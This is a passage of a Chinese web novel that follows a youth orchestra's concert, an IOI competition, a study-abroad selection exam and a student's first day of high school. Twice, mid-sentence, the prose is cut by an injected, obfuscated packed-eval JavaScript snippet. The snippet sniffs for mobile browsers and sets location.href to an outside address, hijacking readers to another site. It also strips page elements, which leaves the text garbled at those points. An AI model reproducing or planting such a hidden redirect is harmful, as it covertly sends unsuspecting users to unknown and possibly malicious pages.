然而,不管排练的时候有多完美,现场表演总会有一些小瑕疵。就在这个乐章接近尾声的时候,第一圆号忽然有个音没有踩准,微微偏高了一点,柏嘉辉表情镇定,给出了一个细微的提示手势,示意铜管组立刻调整呼吸,并且示意弦乐组的和弦衔接补救。顾梓聿立刻反应过来,用夸张的肢体动作带领弦乐组加强旋律,使乐团得以平稳过渡,观众几乎没有察觉到这个小插曲。 随着指挥棒猛然向下一挥,第二乐章开始,音乐顿时转入 d 小调的狂风骤雨! 小提琴开始急速的上行琶音,宛如一股接一股拍击甲板的狂涛,大提琴和低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15283906|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音提琴的颤音像是压顶的乌云,长笛和单簧管交错地吹出尖锐的滑音,模仿着狂风呼啸的声音,整个乐团的音色从平和的启航陡然转为惊心动魄的航行困境。 林生一微微皱眉,弦乐的颤音、木管的呐喊、打击乐的狂风骤雨,这些演绎都比他最初构思得更加汹涌,更加具有侵略性。甚至在某些地方,指挥调整了节奏,使得风暴的爆发比他原本设想的更加突然。他没有想到,这支年轻的乐团竟然敢于在他的作品里,注入这样的张力。 这段音乐需要极高的精准度,每个乐手必须紧密配合,掌握风暴的节奏感。然而,就在乐曲进入最猛烈的部分时,有小提琴因紧张而手滑,弓毛刮到了相邻的琴弦,发出了刺耳的杂音! 顾梓聿一惊,本能地微微前倾,但经历了这么长时间的排练,大家都训练有素,整个小提琴组在不知不觉间巧妙配合,柏嘉辉也做出一个快速的补救手势,打击乐和铜管立刻加重节奏,将突兀的杂音巧妙掩盖在风暴的怒吼中。 音乐继续奔腾,终于在风暴最猛烈的一刻骤然停顿,整个音乐厅里一片短暂地死寂,如同被风暴吞噬的刹那。 然后,低音提琴的一声低鸣,夜晚降临了。 第三乐章开始,乐团刚刚从风暴后的寂静中恢复,首席小提琴先独奏出一个自由节奏的、带有装饰音的吟唱式旋律,像是船员在黑暗中低语般诉说。顾梓聿刻意拉长音符之间的停顿,制造出回响般的空旷感,仿佛四周只剩下茫茫大海,观众都随之沉浸在这海上茫茫的夜色之中。 林生一的呼吸微微一滞,他听得出来,这段旋律已经不是“海上的孤独幻夜”,而是首席小提琴自己的故事,是迷惘,是困顿,是成长,是站在命运的潮头上,试图寻找自己的方向。 ——他们理解了这部作品。而且,他们已经把它变成了自己的东西。 他还记得首席小提琴这个孩子,他是老朋友的爱徒,历史上第一个梅纽因全奖得主,未来不可限量。 柏嘉辉此刻没有动作,只是静静地注视着顾梓聿,给予他音色与节奏自由发挥的空间,任由他在这片夜色中独自航行。整个乐团都在安静地等待,直到柏嘉辉轻轻抬起指挥棒,大提琴张博文和顾梓聿一个默契的对视,轻轻带领大提琴组加入了一些低音,低音提琴奏出一连串缓慢的下行音阶,仿佛远方传来的海浪声,柔和却隐隐带着波动,铺垫着和声,和顾梓聿对话。 柏嘉辉深知这部分演绎需要依靠情感的渲染,他放慢了手势,引导着每个声部、每一个音符流畅地交融在一起。随着乐句的推进,小提琴集体加入了,旋律开始向上攀升,音符变得更连贯,像是终于看见了远方的星光。弦乐的弓速加快,音色更加坚定,更有力量的乐句铺展开来,如同夜海上拉紧的风帆,重新捕捉到了风向。 夜幕低垂,音乐从喧嚣转为寂静,竖琴拨动着微光般的音符,主旋律再次回归,但变得幽远而孤独。 当黎明的曙光终于洒向海面,第四乐章 E 大调的旋律逐渐渐强,充满了光辉与希望。随着柏嘉辉的引导,主旋律在弦乐与铜管的辉映下渐渐变得坚定而清晰。铜管奏出胜利的凯歌,定音鼓的鼓点密集而坚定,仿佛航行归来的船队在港口靠岸。此刻,所有人都沉浸在这最后的辉煌之中,刚才所有的小失误、紧张和弦上的颤抖都已被胜利的号角所掩盖。 随着最后一段高潮的到来,乐团的每一名团员都似乎进入了一个忘我状态。而整个乐章最终长线条的渐强和爆发,带来了全场的最高潮。柏嘉辉的手势也越来越激烈,长发甩动,他完全投入其中,目光紧盯着乐团成员的每一动作。 “这是我们的曲子!”乐团在这强大的情感冲击下,全体成员一起将这一乐章演绎到极致。 最后一记辉煌的和弦响起,像一道金色的光辉映照在船帆上。 当最后一个音符消散在空气中,整个音乐厅沉寂了几秒钟,随之而来的是如雷鸣般的掌声。全场的观众都站了起来,发出无尽的喝彩和掌声。 林生一也很激动,他紧紧闭上眼,呼吸急促,指尖微微蜷缩,像是仍然握着什么,却又松开了。这一刻,他知道,《金帆号角》已经不再属于他,而是属于这个舞台,属于这一群正在用音乐讲述它的年轻演奏者。他听见了胜利的归航,听见了那些挣扎过后坚定的步伐,听见了这群年轻的演奏者用他们自己的方式,诠释着这场航行。这一刻,他不再是那个写下这部作品的作曲家,而是一个见证者,见证着它如何在新的航行者手中,被赋予新的灵魂。 柏嘉辉松了口气,向所有团员投去欣慰的目光。他的手轻轻指向顾梓聿,向这位在整个演出过程中中流砥柱、稳如磐石、化解数次危机的首席表达了无声的认可。顾梓聿顺势站起,向所有观众鞠躬。 也向天上的吴老师鞠躬。 这场风雨交加的航行,终究还是顺利抵达了彼岸。 柏嘉辉接着点起一位又一位,圆号徐凯军,长笛赵可欣,竖琴施诗,打击乐廖智章,大提琴张博文,双簧管刘昊然… 掌声热烈,团员们的家长也都在底下坐着,看到自家的儿女这么意气风发,激动地都要落泪。柏嘉辉谢幕都谢了三次,最后的安可加演了由两个城市的市歌重新混编的曲子,音乐会结束时是这个城市里没有过的盛况,观众们兴奋地起立鼓掌喝彩尖叫,甚至还有自发的送花。 这世界真小啊!顾梓聿不禁感叹道。那个在街心公园曾经有过一面之缘的女孩一脸惊讶地认出了他,最后还专门捧着一大束花跑上台来献到他面前,直往他怀里塞,顾梓聿实在忍不住打了个喷嚏——他尤其对香水百合过敏。 那女孩一脸吃惊,但更多的是喜悦,她真的是“跳”上台来的,棕色的卷发随着也一跳一跳地,兴奋地瞪大双眼,凑近到顾梓聿眼前,两人的鼻尖都快碰上了,她才开口道:“Hi!我是苏影,我们见过面的,你还记得吗?” 顾梓聿刚要礼貌地回答,鼻腔一痒,忍不住又打了个喷嚏,完美地命中眼前目标。女孩愕然,却又倏忽捧腹大笑,顾梓聿看着她这副乐不可支的样子,倒也无奈地抱歉一笑。 演出结束之后,本来是惯例的乐团之夜,大家会去吃吃饭、喝喝东西之类的。但顾梓聿这一次确实有点想逃离热闹的庆祝氛围,因而他向柏指挥告了个罪,问对方乐队的首席 Jackson 交换了联系方式,便脚底抹油悄悄溜了,和苏影到西堤老别墅的咖啡厅里坐坐聊聊天。 他迫切地想从自己当前无望而痛苦的生活中挣扎出来,此时此刻,逃到另一个陌生人的生活里,似乎是唯一可行的选择。 39.暑假 三个月的暑假很快就过去了,快的就像天边的夕阳,你看着它似乎一动不动永恒地散发着热量,忽然一瞬就消失在地平线上。对大多数人来说,这是一个充满了冰汽水、冰西瓜的盛夏,燥热却又有着勃勃生机。然而,对于另一些人来说,这却是一个告别的季节。 相彼清泉,载清载浊。顾梓聿没有想到,在继傅尧被退学、张瑾妤选择军校这两大变故之后,他还要面对方灵烨在他生命中的提前退场。他简直不敢相信,方灵烨,作为一个从来没有表露过出国意愿、早餐永远都吃豆浆油条、索伦语成绩永远拖后腿的人,居然敢选择漂洋过海到世界的另一端。 方灵烨的暑假非常忙碌。他被傅尧放过之后,终于赶得及国家队的短名单选拔,最后凭借卓越的算法能力脱颖而出,成为 IOI 国家队的四名选手之一。 最终的国家队正式名单里,只有他一个人来自肃南行省。另外三名队员分别是来自楚川的陈子涵,江左的李瑞轩和浙东的王景耀。他们都是高二、高三的学长,陈子涵的代码风格极其简洁,总能想到出人意料的解法,李瑞轩是图论高手,数学推理能力超强,加上王景耀是暴力搜索和数据结构的专家,计算力惊人,他们相互之间可以很好地取长补短。 方灵烨极其紧张兴奋。他知道,面对世界级强手,这是一场没有退路的战斗。正式出发前,他们又有两星期额外的合宿封闭集训,包括调整作息、熟悉比赛规则等。封闭集训的日子充满了压力和挑战,早上上课,下午模拟比赛,晚上则是讲解讨论和代码优化,一天之中,竟没有什么时候是闲暇的,但幸好,在这样的高强度的压力下,他得以专心致志,忘掉那些纠缠他的破事。 今年 IOI 的举办地是玻利尼亚的首都拉巴斯。从华纳出发,需要乘坐飞机跨越半个地球。 初到拉巴斯,高海拔让他们有些不适应,当天他们就入住了比赛官方安排的选手村,选手村里住了来自 90 多个国家的顶尖选手,选手们穿着各自国家的队服在营地里来来往往,空气中弥漫着紧张而兴奋的气息。 正式的比赛场地位于拉巴斯一个现代化的会议中心内,中心四周是银白色的高楼大厦,远处可见雪山的轮廓。比赛的主场地是一个宽敞的大厅,阳光透过高大的玻璃窗洒进来,大厅内排列着数百台电脑,每一台都配备高性能的设备和显示器,旁边是供选手们笔记和计算的桌子。 赛前一天,方灵烨和队友找到了自己的位置,测试设备、熟悉比赛环境,确保比赛时能够万无一失。 IOI 采用两天赛制,每天计时 5 小时,共有 3 道高难度算法题。第一天比赛开始前,每个选手的屏幕前都放着一瓶水和一堆草稿纸。比赛开始的钟声一响起,整个会场立刻安静下来,所有选手迅速进入了状态,选手们全神贯注,空气中弥漫着紧张的气息。 第一题不难,是一道动态优化问题。方灵烨快速地理清思路,只用了 30 分钟就完成了 100 分解法,其他三人也迅速 AC ,全队状态不错。 第二题是关于超大规模数据结构的处理,要求选手用高级数据结构来优化查询速度。因为是动态数据集,方灵烨选择了平衡树,第一个提交的版本 TLE 了,他迅速调整策略,在最后 30 分钟完成优化,成功拿下 80 分。但陈子涵思路独特,竟然用莫队算法解决,拿下了满分。 第三题是超高难度的图论加组合数学,涉及到哈密顿回路和动态规划。李瑞轩是图论高手,他两小时内完成了大部分代码,并得到了 90 分的高分。方灵烨和王景耀都有尽力尝试,但最终只拿到 50 分左右。 第一天的赛果,华纳代表队暂居前列,但并没有绝对的优势。 比赛进入了第二天,现场的氛围变得一触即发,选手们都紧绷着弦,进入了最后的冲刺阶段。 第一题是数学推导加贪心算法,四人都迅速拿到了满分,状态稳定。 第二题是博弈论加递归搜索,方灵烨迅速想到 NIM 游戏的思路,优化递归,获得 90 分。而其他三人都拿到 80 左右,整体不错。 第三题是 NP 难问题,主要是为了考察选手的创造力和数学推导能力。在未证明 P=NP 之前,这种题在目前还做不到在多项式时间内精确求解,需要使用近似算法来找到一个可接受的次优解。 几乎所有人看到这道题都开始出现思维疲劳,甚至有选手看向自己的草稿纸,眼神开始模糊——这不仅是对技术的考验,更是对意志力的挑战。但直到这一刻,依然没有人放弃。方灵烨尝试了一种启发式搜索方法,虽然没能完全解决,但仍得到了 60 分,而王景耀的搜索策略更大胆,拿到 75 分,成为队伍最高分。 当比赛结束的钟声响起,方灵烨只感觉怅然若失,顶着昏昏沉沉的脑袋,他简直不敢相信,准备了这么多年的比赛,短短两天就结束了。尽管他没能回答出所有问题,但他知道,他已经尽力了。周围的选手们或是长叹一口气,或是皱着眉头彼此交换答案,每个人的表情都透露出深深地疲惫——这是一场精神力的绝对透支。每个人都拼尽全力,但最终结果会如何呢? 方灵烨不合时宜地想到了顾梓聿和傅尧,如果他们两个在,今天的赛果会不会不一样?虽然不想承认,但在他心中,顾梓聿一定能够有很突出的表现,就凭他在国家队集训时候的听闻,教练在得知他是从鹿城来的、是顾梓聿和傅尧的同学时,非常感慨地提到顾梓聿在前两年集训时的表现简直是震惊四座,有的题他的解法甚至比教练组的标准解法还要好。 经过激烈地角逐,方灵烨最终排名全球第 8 名,斩获金牌。陈子涵是全球第 1,李瑞轩全球第 3,而王景耀全球第 11,华纳代表队获得了团体第一,四人全部夺金! 当成绩公布的瞬间,教练组在场下欢呼声差点要掀翻屋顶,这是华纳暌违了近十年的团体第一!方灵烨和队友们相互击掌,经过数月的艰苦训练,他们终于站在了世界之巅。 从国际奥赛的赛场上回来之后,方灵烨也没闲着。公费生的考试日期也即将临近,他要忙活家里的事、收拾东西、办理证件,还要准备公费生的考试——傅尧已经帮他在索伦联系好了接收姐姐的医院,然而这已经足够引起怀疑,有心人查起,便处处都是痕迹。傅尧不能帮他太多,剩下的,还得靠他自己。现在,清清白白地出去,将来,才能清清白白地回来。 公费生考试的时间很快就到了。由于考场设在申城,鹿城的考生们都结伴买了机票,相约着一起过去。说来也巧,待人在机场集合后,大家都面面相觑,这才发现所有人都穿着各自的校服,无一例外。 一般来说,这样的机会、名额分配,都是看往届的学生表现如何而有所增减的。八中往届的学生很争气,整体水平都很好,甚至上一届有学生以外国学生的身份,参加当地州中心阅读和数学统考都拿了第一名的,因此这届八中拿到了六个名额,一中则是四个,外国语学校也是四个。 机场内,八中的三男三女,都穿着校礼服:男生是白衬衫黑领带黑裤子,女生是白衬衫黑领花黑裙子,除去胸前校徽之外没有多余的花纹,简单文雅,有一种学生气朴素的美。 一中的只有一个男孩子,白衬衫黑裤子,而女孩子们都是身着白衬衫格纹裙,领口处有复杂的设计,倒是遵循了一中一贯爱讲排场、注重表面功夫的风格。 外国语学校选出来的则全是女孩子,一个头发剪的比一个短,再穿着一身酒红色配暗绿色格纹西装连衣裙,活生生一株圣诞树,就算是脸长得美身材好也实在是不忍卒睹,更何况腰似水桶般、脸还长得不行呢。 陈心乔一面这样想着,一面又暗自后悔自己太刻薄:就像是忍不住的,她有时总要从心底里冒出来几个字几句话,若是说出口来恐怕她交朋友得等到下辈子了。按捺住自己心中的小恶魔,她不动声色地抬眼看看,直到今天她才知道和自己一起竞争的有谁。 八中这次来参加考试的六个人里,一班占了五个人,有她自己、彭昱、方灵烨、卓玥和陈文坤,以及普通班的一个女生,叫周灵的。一中来的四个人里她倒是认识两个,全是小学同学,外国语的倒是全不认识。 她收拾好心情,和大家玩在一块,十四个人,玩起狼人杀倒是很刚好,她自告奋勇做了法官,一边主持着游戏,一边暗自观察。等到是时候上飞机了,她又自然地选择坐在靠走道的座位,这样左聊聊、右聊聊,时间很快就过去了。 负责任地说,陈心乔用心起来,与人聊天,或干脆说,套话的技能是点满的,甚至时能超水平发挥。等到他们到达酒店、收拾行装、一起吃完晚饭各自回去休息时,陈心乔已经全面地掌握了敌方消息: 她大概知道卓玥是由于体质过分敏感,实在是在华纳境内呆不下去,卓父卓母才考虑将她送出国的;而彭昱,她曾拐弯抹角地听说过他和父母似乎相处得不很融洽,这样选择远远地逃离开家长的监管,况且还不用向家长伸手要钱,也是很合理的。陈文坤的父母都是高级知识分子,很希望他能够出去见见世面,这无可厚非;令她有些反感的是,周灵,这个看起来文静得甚至有点呆的女孩一旦打开话匣,居然字字句句都离不开抨击批判帝国近年来的各种政策,负面得很,陈心乔面上听着,心里却很是厌烦,之后就离她远远的了。 方灵烨自是没有心情关注这些,他唯一的指望都在这场考试上了,怎么敢有所懈怠呢?就在一天之内,他们先是做 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289279|166578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了套逻辑题,题型和门萨俱乐部的测试差不多,看起来是考智商的。方灵烨从小就爱做这类莫名其妙的题,基本上什么套路都摸得透透的,很轻松就做完了。接着他们又考了场数学,题目全是索伦语,方灵烨很有些词看不懂,不过这丝毫没有影响,他光看题给出的数据和条件就知道出题者想考什么。虽然后面有些题很明显地超纲了,他仍是按照常规解法一步步列下来,直到那个坎实在绕不过去了,就停在那里,然后带入几个特殊值去算,挑选出最像正确答案的那一个,大剌剌地就填了上去。 其实,这场考试考校的,不单单是知识水平。从这些学生走进这间考场开始,考官们就在仔细观察每个人的表现了。 说来很有意思的,考完两场后,所有考生们都聚集在休息室等待面试。考场内坐了十数个城市数十个学校的学生,几乎都穿着自己的衣服,或是名牌洋装西服小皮鞋,或是运动品牌休闲装篮球鞋,总之都是要穿出个性。只有鹿城八中一所学校的五个学生穿着自己学校的校服,此时正围坐在一起,用索伦语互相提问练习。 彭昱对着卓玥用索伦语问出一句 “请问,为什么你愿意在还未成年的时候来到一个外国城市学习?你是否设想过将来会遇到哪些困难?”,看着对面的女孩落落大方地陈述着,他机械地点点头,却什么也没听进去,心思默默地飘到了远处,陈文坤避开他们一个人坐得远远的,低着头默背着他手里那本什么“宝典”。 彭昱心里一哂,陈文坤原本和他们都玩得挺好,这次大家一起来考试,他却对他们敬而远之,连话也不多说一句,可谓是提防人到明面上了。这次听说陈父对这个名额志在必得,还特意带着陈文坤拜访了之前通过这个项目出去的学生,看起来是准备得很周全了。不过说来也是好笑,大家同窗了三年,方灵烨和陈文坤还是小学同学呢,明明一起经历了许多,也算是很有感情了,目前不过是遇到点小竞争,还不到你死我活的局面呢就生分成这样,人情淡薄由此可见啊。 面试很快就开始了,随着一个一个人被叫进去,方灵烨也慢慢地不由自主地紧张起来。说实话,对他来说,前两场考试不算太难,但是索伦语,特别是口语却是他的软肋。尽管他临时抱佛脚地了这些日子,不过语言这东西还是要靠积累。直到他被叫到名字时,他心底还有些慌慌的,深呼吸了两下,他才深吸口气,迈步走向前方的未知。 面试的过程跟方灵烨事先想象得很不一样,一男一女两位老师,首先做了个自我介绍:女老师伊丽莎白拥有一头凌乱的棕发,法令纹很深,四十多岁的样子,棕色的眼眸看起来很温柔;男老师克里斯托弗金发绿眸,高眉深目,年纪轻轻倒是很英俊的样子。两人仿佛拉家常似的,你一句我一句,问的都是学校生活、个人爱好、家庭情况等很普通的问题。 这些问题方灵烨大概都事先准备过,有些打擦边球的改头换面一下也能用上,虽然说不上是对答如流,却也是有所问必有所答,有时磕磕巴巴的,却也尽量能大大方方地表达清自己的意思。每答一道题,方灵烨心下就越轻松一分。直到他估摸着大概过了十五六分钟了,面试也快接近尾声了,克里斯托弗一边在纸上写写画画,一边问出了最后一个问题: “请问您是否有任何想要向我们请教的问题,亦或是关于本校园的疑问?” 方灵烨一时间有些愣,这个问题他从来没有想过。但是不知怎么的,他头脑一发热就问出了一个听起来很有些不知天高地厚的问题: “ 我知道我们中学上一届有学生以外国学生的身份,参加当地州中心阅读和数学统考都拿了第一名,他后来被钻石联盟中的麻省理工大学以全额奖学金录取了。我只是想知道,如果我也能拿到类似等级的奖项,或者,拿到联邦总统学者奖,我也能被钻石联盟校之一录取吗?” 那位考官听到这个问题很明显地挑了挑眉毛,瞳孔感兴趣地放大了些许:“ 哇,这真是一个好问题,我们能看出你确实很有野心,不过,这个问题的前提是,你需要知道,能够入选联邦总统学者奖的候选者必须是索伦联邦的公民。不过,我们还是很赞赏你的态度!” 哦,这就有点尴尬了,果然刚才会问出那个问题是头脑发热吧。方灵烨僵硬地扯了扯嘴角,故作镇静地点点头,直到接收到了对方善意的提示,才拖着步子一步一步走出房间。 方灵烨走回座位,看着身边同学关切的眼神,简直想仰天长啸:如果他最后一问不犯蠢该多完美?!自己真蠢啊啊啊!!! 然而老天还是眷顾这个傻小子的。当天晚上,方灵烨得到通知,他和彭昱、卓玥,以及陈文坤都通过了甄选,即将踏上异国的土地求学。这个好消息,他等的太久太久,久到,他的心,都变得麻木而疲倦了。 40.开学第一天 开学第一天,到高中部报道的顾梓聿,却没有预想中的那样兴奋。他有点无精打采地走进高中部大门,一路上有许多认出顾梓聿的本部学生,纷纷和他打着招呼,不少人都注意到他身边紧紧跟着一个女孩,一脸好奇地左看右看,叽叽喳喳地问东问西。 “啊呀小顾!今天你也来报到了,挺早的呀!” 顾梓聿茫然抬头,向着声音传来的方向看去,愣了一下才应答道:“啊,学姐,学姐好。” 这位学姐大他一级,原来在初中部的时候他们曾经一起搭档准备竞赛过,还蛮照顾他的。 “说了多少次,直接叫名字,你这样都把我叫老了。” 学姐叫何蔚,据说原来她爸给她起名字是想叫做“何畏”的,就是“有何畏?无所畏!”的意思。后来鉴于生的是一个女孩,这样叫实在不太淑女,就改了一个字。这学姐人如其名,作风向来是大胆活泼,顾梓聿刚跟她认识时还有些放不开,全靠何蔚插科打诨见机调.戏,才变得熟络起来。 “是,学姐,哦不,蔚姐,”反正怎么样都是要带个“姐”字了,何蔚无奈地翻了个白眼,听着小学弟继续问道:“蔚姐在这里,是…?” 何蔚指了指自己身上别的胸卡,哈哈一笑:“哎呀,没看出来吗?我是被学生会迎新办派来做苦力的!就负责带着你们这群小朋友熟悉一下学校。诶,你旁边这个小朋友我倒没见过,也是原来你们班的吗?” 顾梓聿往身旁看一眼,无奈地摇了摇头——身边跟着的是无论如何都要从外国语转过来和他一起读书的苏影——如今他才知道,原来苏影就是当初那个高中化学联赛拿了“一等奖第七名”的比自己还小了一岁的那个女生! 真是冤家路窄,原来当初自己挨的那顿打罪魁祸首居然是她,自己还不能报复回去,嗨,这事还真倒霉。 “蔚姐好!我叫苏影,很高兴认识你!我之前是在外国语读的,是为了梓聿到这里来读高中的。”苏影笑得很灿烂,马尾一甩一甩的,完全没意识到她说的话在别人听来会引起歧义。 “哦~~是这样!”何蔚看着顾梓聿迅速僵硬的表情,好笑又八卦地笑了一声,倒是没多说什么。她等了一会儿,直到面前聚集了十多个新生,方挥了挥手,带着一群小嫩丁去发现大世界了。 八中的高中部坐落在鹿城的新区,所谓新区,反正在当时都是不值钱的荒地,市政厅规划署的官员看在老校长的面子上,干脆大笔一挥,给八中划了好大一块地;再加上八中的校友心系母校、慷慨解囊,因此,高中部的气象就截然不同了: 主教学楼的北边依次是三层楼的食堂、篮球场、网球场、两层的体育馆、带伸缩顶棚的露天游泳池和带有标准跑道的田径场,宿舍楼的南边则是一整栋的艺术楼和另一整栋的科技楼。艺术楼一、二楼是教学场地,西边是美术室,东边是音乐教室。再往上有琴房和练功房,房间的隔音效果好的很。学校甚至还给配了一台施坦威三角钢琴,不过这就不是给普通学生玩的了。 科技楼的顶层是天文台,楼下的电脑教室和物化实验室都装备了先进的仪器器材,通风系统是花了大价钱的。一楼做了整套的排水系统,为了航海模型队日常练习使用。这栋楼里还有个专门给学生们用的广播室,据说这套设备全城里只有两件,另一件在广电中心里。 立在科技楼旁边是华丽崭新的大礼堂,座位区全部开放的话可以容纳 3000 多人,它完全把旧校区那个虽然外表古色古香但内部逼仄陈旧的兄弟比到尘埃里去了,而红砖建构,装饰了玻璃幕墙和高科技设备、采光良好的图书馆,简直令人心驰神往,牵肠挂肚。 这些硬件设施可以说是相当不错,而一路走来,学校里的绿化也做得相当好,大夏天的,顾梓聿甚至在路上看到了青蛙和松鼠,而教学楼旁的湖里居然还有天鹅! “其实本来湖那边那块地也是我们学校的,不过后来园林署的人过来说,这块绿地要单划出去做城市公园,所以那边就围起来了。谁不知道那块地是卖给地产承包商了,”何蔚语气里带了点不屑,“这些官僚。” “呵呵。”周围有几个新生附和地哂笑,也有一两个皱了皱眉。顾梓聿对上那人的双眼,见他回神看向自己,就收回了目光。 “现在我们已经绕了学校一圈了,你们看,那栋就是你们新高一的楼,楼底下公告栏有贴分班说明,你们先找找自己在哪个班,然后就上楼去吧。班主任们应该都在教室里等你们了,今天就先这样,我还得回去带下一队学生过来呢。”何蔚指了指面前的“行之”楼,利落地拍了拍手,权作结束。 她转身就要走,一个声音忽然响起,顾梓聿顺着声音看过去,就是刚才皱眉的那人。 “学姐,谢谢您刚才的介绍。请问怎么称呼您呢?” “啊哈,刚才忘了自我介绍一下,我叫何蔚,人可何,蔚然成风的蔚,大你们一级,以后有机会还会遇到的。”何蔚扭头一笑,挥了挥手,指着顾梓聿挑了挑眉。顾梓聿回了一个微笑,不动声色地看向发问的那人,那人也抿唇一笑,似是很满意何蔚的回答。 有点奇怪。 顾梓聿没再多想,和苏影去看公告栏。巧的是他和苏影被分在同一个班里,除此之外他还看到了许多熟悉的名字,姜明祎也在内。他苦笑:这样的分班策略他也有所耳闻,高中部的习惯是学竞赛的分一个班,不竞赛的再按中考成绩排名分出两个班,五校联招考进来的一个班,为高二公费生甄选准备的再分一个班。这样分配,有助于学校的管理和教学计划的安排,也利于学生们相处交流。这样看来,他跟苏影,怕是给分到竞赛班里去了。 苏影倒是罢了,可他这一年,显然是不会参加任何竞赛的,分到这个班里,说不上是什么好事。以他之前的竞赛成绩,首先要面对的可能就是班主任的“威逼利诱”…唉,想想就烦心。 顾梓聿偏偏头,示意苏影跟上他。他两都被分在一班,一班就在一楼最东边,很近。顾梓聿有点紧张,走进教室时似乎还听到了熟悉的声音。 不对。 他扭头望向讲台,站在那里的居然就是程琤!此时此刻,他正跟班级里的新生,不,应该说是“老生”聊得热火朝天。姜明祎看见他来了高兴地挥挥手:“嗨梓聿,坐这儿来呗!” 简直就像是时光倒流。明亮的教室里,程琤正从讲台上走下来,脱离了课标侃侃而谈;张瑾妤在草稿纸上画着小漫画,边画边时不时偷瞄讲台上的程琤;傅尧坐在他斜前方看似很认真地听讲,手里的笔却转的飞快,一看就知道在想别的;张铎一如既往地飞快地记录着程琤的即兴讲解,甚至还空出一块地方准备稍后补充思考,字帖级别的笔记可以流芳百代;姜明祎手中的笔悬在空中一动不动,像是在神游天外,据他所说这叫“潜意识学习”;方灵烨则一下打断程琤,张嘴就问一些不着四六的问题;张瑾妤偷笑着,却碍于同学爱没有大肆嘲笑,只是用笔戳了戳他,想和他一起分享这个好笑的时刻… 记忆是个很神奇的东西,它有时会在你猝不及防的时候跳出来,一拳打向你的鼻子,令毫无防备的你鼻酸流泪。有时,回忆确实很伤人。 顾梓聿定了定神,朝姜明祎那走过去。苏影倒是比他快一步,跑到彭璐身边坐下,问道:“你好,我叫苏影,你呢?” “你好苏影,我叫彭璐。”彭璐礼貌地回了个招呼,又埋头去做她那本题了。但是,她向来是一个记忆力很好的人,记得之前听好朋友张瑾妤提过,那个化学联赛考的比顾梓聿还要好的女生,似乎名字就叫这个。 于是,她慢慢抬起头,重新看向身旁的女孩,慎重地问了一句:“你之前是不是参加过高中化学联赛?” “嗯,是啊。”苏影点了点头。她有点好奇对方是怎么知道的,刚想问就看到彭璐瞪大了本来就很大的双眼,小小地发出了声尖叫声。 “哇…苏影你这么厉害,我化学不是太好,你能不能有空的时候教教我。”苏影真是第一次见到这样爱学习的人,她还没说话,彭璐就又一脸兴奋地转向顾梓聿:“诶,梓聿!你知道嘛,她就是当时…” “是,璐姐,我知道,”顾梓聿有点无奈,又不由自主地看了眼程琤的脸色,承认道:“她就是当时考的比我好的另外那个初中生。” 这种感觉真丢脸。 话说璐姐什么都好,就是这神经大条…唉。 周围坐着的都是从原先初三一班升上来的老同学,知道点旧情的都忍不住又想笑又觉得顾梓聿有点可怜。顾梓聿是没法了,就算脸皮厚,也没有这么厚的,一下子觉得脸都发烫了,脑子里“咣”地一响,忍不住又要去看程琤的神情。 程琤倒是没取笑他,而是对苏影说:“欢迎你来到一班,期待看到你取得更好的成绩,为我们学校争光。毕竟…” 毕竟…顾梓聿沉默了。 初中三年,学校方面为了他准备竞赛,是能开的绿灯都开了,能支持的都支持了,升高中,也是把他安排到了师资强的班级,按说现在正是要出成绩的时候,他却撂挑子不干了,怎么样都说不过去。 他知道程琤教完他们会回到高中部来,毕竟,当年程琤也是为了他们,才下到初中部去的。暑假为他们提前上课的程琤,周末给他们讲题的程琤,都还历历在目,是自己放弃了机会,也辜负了程琤的用心。他过不去心里的坎,总觉得愧疚,去年已经尽量减少和程琤的直接接触,程琤倒像是知道他的回避,也不常搭理他了,这样的冷淡倒令他松了口气,心想熬到毕业也就算了。 没想到,他自己会回来读书,更没想到,程琤居然会做班主任,带他的班。 “程老师好。”顾梓聿问了好,才坐下。程琤点点头,没太往他身上看,漫步到别的地方去了。顾梓聿不敢回头,双耳细心捕捉着,听着他和远处的学生聊天,心才稍稍放下来一点,刚回过神来,就发现姜明祎正不露声色地看着自己。 明祎是聪明人,他向来都知道。这半年来,关于他的反常,明祎从来没有问过为什么。别人的惊讶、疑惑、窃窃私语都摆在明面上,甚至如方灵烨会直接跑去质问他,但姜明祎却从未问过一句。 一个曾经把竞赛拿名次当作理所当然、把考试第一名当作必需条件的人,如今选择主动放弃,这本身就是最大的异样。顾梓聿的性格,做任何决定都会经过深思熟虑,而既然他已经做了,就说明他早已下定决心,无需任何人去干涉或质疑。 问了又有什么意义呢? 他们是最好的朋友,他当然会担心,但顾梓聿要是愿意说,早就说了。而如果他不愿意,那谁问都没有用。 所以,他不问。 但他也没有走远。 如果你想说,我随时都在。 如果你不想说,那就算了。 随着时间的推移,班级里陆陆续续坐满了人。顾梓聿大概一扫,几乎一大半都是原来的同班同学或是初中部的熟人,这种熟稔感令他感到分外安心。台上,作为班主任的程琤开始讲起高中学习生活的注意事项,絮絮叨叨苦口婆心,一句话讲三遍的,实在是跟之前甩手掌柜的模样大不相同,看来“位置决定脑袋”这话不假。 念叨完之后,就是发书、发练习册,然后分配宿舍。宿舍按学号顺序分配,学号按中考成绩排名,顾梓聿荣幸地成为本班的最后一名,与其它三个男生分到了108宿舍。搬书过去的时候倒是有点够呛,宿舍恰好离这栋楼,嗯, 